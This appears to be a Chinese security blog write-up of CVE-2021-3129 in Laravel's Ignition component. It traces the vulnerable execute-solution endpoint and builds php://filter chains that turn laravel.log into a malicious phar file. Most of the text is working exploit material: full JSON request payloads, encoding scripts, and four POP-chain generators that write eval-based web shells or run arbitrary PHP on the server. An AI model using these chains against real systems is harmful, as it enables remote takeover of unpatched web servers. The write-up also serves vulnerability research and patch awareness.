环境配置
- PHP: 7.3.4
- Laravel：8.32.1
影响版本
- Laravel < 8.4.3
- Facade Ignition < 2.5.2
环境搭建: composer create-project --prefer-dist laravel/laravel laravel822 "8.2.*" , 如果用到了未默认带的组件会在文中说明 !
通过 php artisan serve 启动服务
CVE-2021-3129
经典的 laravel8.22 反序列化漏洞, 发生在Ignition（<=2.5.1）中，口子在 index.php/_ignition/execute-solution, Ignition默认提供了以下几个solutions
本次漏洞就是其中 vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php 过滤不严谨导致的, 先找到执行 solution 的php文件, 全局搜索 ExecuteSolutionController
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
发现有 __invoke() 魔法函数, 然后跟进调用的是 run 方法, 并将可控的 parameters 传过去, 通过这个点我们可以调用到 MakeViewVariableOptionalSolution::run()
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
use Illuminate\Support\Str;
class MakeViewVariableOptionalSolution implements RunnableSolution {
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
...
}
然后跟进到 makeOptional 方法
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
体现的功能就是替换 $variableName 为 $variableName ?? '' , 之后写回文件中
由于这里调用了file_get_contents(), 且其中的参数可控, 所以这里可以通过phar://协议去触发phar反序列化
将log转化为phar文件
原文作者给出的一个基于框架触发 phar反序列化的方法: 将log文件变成合法的phar文件
laravel 的 log 文件在 /storage/logs/laravel.log
[2021-03-14 03:47:21] production.ERROR: No application encryption key has been specified. {"exception":"[object] (Illuminate\\Encryption\\MissingAppKeyException(code: 0): No application encryption key has been specified. at D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php:79)
[stacktrace]
#0 D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Support\\helpers.php(263): Illuminate\\Encryption\\EncryptionServiceProvider->Illuminate\\Encryption\\{closure}(NULL)
#1 D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php(81): tap(NULL, Object(Closure))
#2
...
原文作者在文章中提出了使用 php://filter 中的 convert.base64-decode 过滤器的特性, 将log清空
<img src=”https://p5.ssl.qhimg.com/t01bcf0f7e02d81fe40.png” style=”zoom:150%;” />
convert.base64-decode 会将一些非 base64 字符给过滤掉后再进行 decode, 所以可以通过调用多次 convert.base64-decode 来将 log 清空
<img src=”https://p2.ssl.qhimg.com/t01884d4be108dc3977.png” style=”zoom:150%;” />
但是也会出现非预期的状况, 如果某次 base64 编码后的 = 出现了别的 base64 字符
<img src=”https://p0.ssl.qhimg.com/t0145f977898a91bded.png” style=”zoom:150%;” />
php是会报一个 Warning 的, 且由于 laravel 开启了debug模式，所以会触发 Ignition 生成错误页面，导致decode后的字符没有成功写入
所以我们清空 log 文件的目录大致分为底下两步操作:
- 使 log 文件尽可能变成非 base64 字符
- 再通过
convert.base64-decode将所有非 base64 字符清空
原文作者在第一步通过多次 convert.base64-decode , 但是有可能会出现上述的 Warning 状况, 例如取了一次真实的 laravel.log 进行多次 convert.base64-decode , php报了 Warning
所以我们需要考虑另外一种方式达到第一步的目的, 我们知道 php://filter 还有很多解析器, 像是 convert.base64-decode, string.rot13, string.strip_tags, convert.iconv.UCS-2LE.UCS-2BE, convert.iconv.utf-8.utf-7 等, 这里我们使用 convert.iconv.utf-8.utf-16be
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be/resource=../storage/logs/laravel.log"}}
结果如下
然后使用 convert.quoted-printable-encode 打印所有不可见的字符
再使用 convert.iconv.utf-16be.utf-8
这三部操作显而易见的将 log 文件内的字符变成了非 base64 字符, 这个时候再使用 convert.base64-decode 就可以成功清楚 log 文件
那么我们把上述步骤合并起来就达成了这两步的目的
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
实现了一步清空 log 文件
写入符合规范的phar文件
我们可以通过 file_get_contents 去触发日志的记录, 也可以本地调试报错后在相关的文件夹找到 log 文件的记录
通过观察, 可以发现 log 文件大致的格式
[时间]错误原因:错误发生的完整路径:错误发生的完整路径
[跟踪]#0...+部分payload+...
会发现我们 file_get_contents 的完整路径会出现两次
最终需要让 log 文件变成恶意 phar 文件, 所以还得继续对 log 文件进行操作
原文作者给出的方式是 convert.iconv.utf-16le.utf-8
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "R\0i\0c\0k\0y\0 \0u\0p\0l\0o\0a\0d\0 \0a\0 \0f\0i\0l\0e\0.\0\n\0");
fclose($fp);
/* Result: Ricky upload a file. */
?>
然后测试一下
我们可以再后一个 payload添加任意字符, 这样至少能有一个转义出来
这样子就是我们想要的效果, 因为除了 payload 的部分都是非 base64 字符, 只要我们将 payload 进行base64编码后再decode即可把非 base64 字符消除掉
但是这么做还会有一个问题，就是在 file_get_contents() 传入\00 的时候 php 会报一个 Warning, 同样会触发Debug页面的报错, 还需要想办法把空字节（\00）写入到 log 文件中
这个时候就可以使用 convert.quoted-printable-encode过滤器, 将不可见字符打印出来
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "P\0A\0Y\0L\0O\0A\0D\0");
fclose($fp);
/* Result: P=00A=00Y=00L=00O=00A=00D */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
fwrite($fp, "P=00A=00Y=00L=00O=00A=00D=00");
fclose($fp);
/* Result: PAYLOAD */
?>
原理就是将字符转成ascii后前面加个=号, 将其打印出来, convert.quoted-printable-decode 则是将等号后面的 ascii 字符解码并打印出来, 于是我们可以用 =00 代替 \00 传入到 file_get_contents 当中, 完整调用的payload是这样的
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
易错点1
如果直接根据作者给出的方式生成 PAYLOAD ，在到 convert.quoted-printable-decode 过滤器的时候可能会出问题
把 = 改成 =3D 就不会出现此类问题
易错点2
我们生成的 PAYLOAD 会在 log 文件中完整出现两次以外, 还会在底下出现部分 PAYLOAD, 所以我们先将 PAYLOAD 进行一次 convert.quoted-printable-encode编码
尝试写入log文件
尝试报错后产生 log 文件, 然后一步清空
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
给 log 文件加入前缀
"viewFile": "AA"
将需要写入的字符编码
# -*-coding:utf-8-*-
import base64
s = base64.b64encode(b'PAYLOAD').decode('utf-8')
r = ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
print(r)
# =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
清空干扰字符
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
成功写入任意字符, 那 log 文件的内容我们就可控了
POP链1
然后我们只需要完整利用, 拿自己之前挖的 payload 测试一下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace Illuminate\Filesystem {
class Filesystem{
public $path = 'ricky.php';
public $data = '<?php eval($_POST[ricky]);?>';
}
}
namespace Illuminate\Auth {
class RequestGuard {
protected $user;
protected $callback;
protected $request = 'ricky.php';
protected $provider = '<?php eval($_POST[ricky]);?>';
public function __construct($callback) {
$this->callback = $callback;
}
}
}
namespace {
use Illuminate\Auth\RequestGuard;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Validation\Validator;
use Illuminate\Broadcasting\PendingBroadcast;
$c = new RequestGuard([new Filesystem(), 'append']);
$b = new Validator(array(''=>'call_user_func'));
$a = new PendingBroadcast($b, [$c, 'user']);
$phar = new Phar("phar.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
}
生成 phar 文件再把里面的内容转为 base64 字符
然后 python 转换
# -*-coding:utf-8-*-
import base64a
s = '你的base64的payload'
r = ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
print(r+'a') # 因为后面有), 加入一个干扰字符会将我们的phar内容保留下来
然后先传入任意不存在文件报错 > 生成 log 文件 > 传入payload > 执行清空 log 文件的步骤
最后我们 phar反序列化包含即可成功
POP链2
用 FileCookieJar 进行文件上传
<?php
namespace{
require "./autoload.php"; // 取决于你 exp.php 的存放位置
$a = new \GuzzleHttp\Cookie\FileCookieJar("./ricky.php");
$a->setCookie(new \GuzzleHttp\Cookie\SetCookie([
'Name'=>'ricky',
'Domain'=> "<?php phpinfo();eval(\$_POST[ricky]);?>",
'Expires'=>123,
'Value'=>123
]));
$phar = new Phar("ricky2.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
按照上面的步骤执行 phar 反序列化在 public 目录下生成 shell, 即可执行
POP链3
尝试直接命令执行的类, 有之前就出现在 laravel5 反序列化中的 EvalLoader 类, 建立 phar 反序列化
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Foundation\Console {
class QueuedCommand
{
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Loader {
class EvalLoader {
}
}
namespace Mockery\Generator {
class MockDefinition {
protected $code;
protected $config;
public function __construct($code, $config) {
$this->code = $code;
$this->config = $config;
}
}
class MockConfiguration {
protected $name = "ricky";
}
}
namespace {
$d = new Mockery\Generator\MockDefinition('<?php phpinfo();exit()?>', new Mockery\Generator\MockConfiguration());
$c = new Illuminate\Foundation\Console\QueuedCommand($d);
$b = new Illuminate\Bus\Dispatcher([new Mockery\Loader\EvalLoader(), 'load']);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
$phar = new Phar("ricky3.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
然后依照上面的流程走一遍, 就可以达成命令执行的效果
POP链4
全局搜索 __destruct(), 常用的有很多, 像是 PendingBroadcast 类, PendingResourceRegistration 类还有 ImportConfigurator 类, 用于触发 __call 方法, 这次调用的是 Mock 类里面的 generate() 方法
# MockClass.php
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode); # $this->classCode 可控
call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods
);
}
return $this->mockName;
}
# MockTrait.php
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode);
}
return $this->mockName;
}
只需要使 $mockName 这个类不存在即可, 而且该参数可控, $this->classCode 也可控, 向上回溯找到调用 Mock 类的函数, 在 Mockery/HigherOrderMessage.php 的 __call 方法中
public function __call($method, $args)
{
if ($this->method === 'shouldNotHaveReceived') {
return $this->mock->{$this->method}($method, $args);
}
$expectation = $this->mock->{$this->method}($method); // 调用 mock 类
return $expectation->withArgs($args);
}
特别的凑巧, 我们也需要调用 __call() 方法, 所以一条 POP 链就形成了
class ImportConfigurator() -> __destruct()
↓↓↓
class HigherOrderMessage() -> __call()
↓↓↓
class MockClass() -> generate() 或者 class MockTrait() -> generate()
建立 exp.php, 生成 phar 文件调用 phpinfo
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator {
private $parent;
private $test;
public function __construct($parent) {
$this->parent = $parent;
$this->test = 'undefined';
}
}
}
namespace Mockery {
class HigherOrderMessage {
private $mock;
private $method;
public function __construct($mock) {
$this->mock = $mock;
$this->method = 'generate'; // 调用 mock 类的 generate 方法
}
}
}
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode;
private $mockName;
public function __construct($classCode) {
$this->classCode = $classCode;
$this->mockName = 'undefined'; // 控制 $mockname 为不存在的类
}
}
}
namespace {
use Mockery\HigherOrderMessage;
use PHPUnit\Framework\MockObject\MockTrait;
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; eval(filter_input(INPUT_GET,\"ricky\"));");
$b = new HigherOrderMessage($c);
$a = new ImportConfigurator($b);
$phar = new Phar("ricky1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
不过测试了一下, 高版本的 ImportConfigurator 类会返回 Cannot unserialize 的提示, 那我们就用 PendingResourceRegistration 类
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace Mockery {
class HigherOrderMessage {
private $mock;
private $method;
public function __construct($mock) {
$this->mock = $mock;
$this->method = 'generate'; // 调用 mock 类的 generate 方法
}
}
}
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode;
private $mockName;
public function __construct($classCode) {
$this->classCode = $classCode;
$this->mockName = 'undefined'; // 控制 $mockname 为不存在的类
}
}
}
namespace {
use Mockery\HigherOrderMessage;
use PHPUnit\Framework\MockObject\MockTrait;
use Illuminate\Routing\PendingResourceRegistration;
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; eval(filter_input(INPUT_GET,\"ricky\"));");
$b = new HigherOrderMessage($c);
$a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
$phar = new Phar("ricky1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
然后我们尝试建立一个新的 log 文件循环调用 phar 文件
$code = base64_encode(file_get_contents("./ricky1.phar"));
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; file_put_contents('/var/www/html/storage/logs/ricky.log',base64_decode('{$code}'));");
然后按照上面的步骤触发反序列化
然后触发我们的另一个 log 文件进行 phar 反序列化
这样就实现了循环调用的 shell
疑点: phar完成转换后payload太长了能否截断上传?
因为是 base64 字符, 首先至少要满足能被 4 整除, 然后再尝试上传拼接的 payload, 我就对了一个比较短的 exp 进行了二次分割上传, 发现截断应该是解码后产生了换行, 文件损坏了就无法执行 phar 反序列化了
如果网站有字数上传限制的话那么可能就无法成功执行
最后再附上一个可以将payload直接转换后写入文档的文件, 制作好以后就可以直接生成payload
<?php
function TransferPhar($file){
$endfile = fopen("phar.txt", "w");
$raw = base64_encode(file_get_contents($file));
$result = array();
for($i = 0; $i < strlen($raw); $i++){
$result[$i] = "=" . strtoupper(dechex(ord($raw[$i]))) . "=00";
}
fwrite($endfile, implode($result));
fclose($endfile);
}
TransferPhar('./ricky.phar');
小结
总结一下:
- 第一步做的是建立 log 文件, 也就是使
file_get_contents()读取文件报错得到 log 文件 - 第二步是清空 log 文件, 通过报错上传我们的payload, 然后就是经过多个过滤器的篡改得到 phar 文件
- 第三步是执行 phar 反序列化拿到shell
总体来说 laravel 反序列化考的还是对 POP 链的挖掘, 这次的 CVE 相当于多了一个无形的反序列化点, 多个过滤器配合过滤也是十分巧妙, 也算是进一步对 laravel 框架有了个全面的了解.
感谢各位读者可以耐心地读到这里, 希望您对该漏洞有了更深刻的认识, 可能有还没汇总全的, 希望各位师傅踊跃提出!